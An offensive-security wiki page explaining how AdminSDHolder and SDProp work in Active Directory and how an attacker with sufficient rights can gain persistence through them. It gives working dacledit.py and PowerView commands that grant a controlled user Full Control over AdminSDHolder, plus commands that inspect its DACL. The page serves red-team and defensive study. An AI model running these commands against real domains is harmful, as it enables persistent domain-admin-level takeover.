AdminSDHolder
AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.
The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see Access Controls abuse).
The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator).
SDProp propagates AdminSdHolder's DACL to every protected object every 60 minutes if their DACL is different.
The AdminSdHolder object is located at
CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL. For instance, the default AdminSdHolder object's DACL contains the following.- Authenticated Users: Read
- SYSTEM: Full Control
- Administrators: Modify
- Domain Admins: ReadAndExecute
- Enterprise Admins: ReadAndExecute
The default protected objects are the following.
- members (possibly nested) of the following groups:
Account Operators,Administrators,Backup Operators,Domain Admins,Domain Controllers,Enterprise Admins,Print Operators,Read-only Domain Controllers,Replicator,Schema Admins,Server Operators - the following users:
Administrator,krbtgt
When talking about AdminSdHolder, the AdminCount attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improved SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.
Let's say an attacker adds the following ACE to AdminSdHolder's DACL:
attackercontrolleduser: Full Control.At the next run of SDProp,
attackercontrolleduser will have a GenericAll privilege over all protected objects (Domain Admins, Domain Controllers, and so on).UNIX-like
Windows
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
AdminSdHolder's DACL can then be inspected with the same utility.
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
AdminSdHolder's DACL can then be inspected with
Get-DomainObjectAcl.# Inspect all AdminSdHolder's DACL
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs
# Inspect specific rights an object has on AdminSdHolder (example with a user)
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
Last modified 10mo ago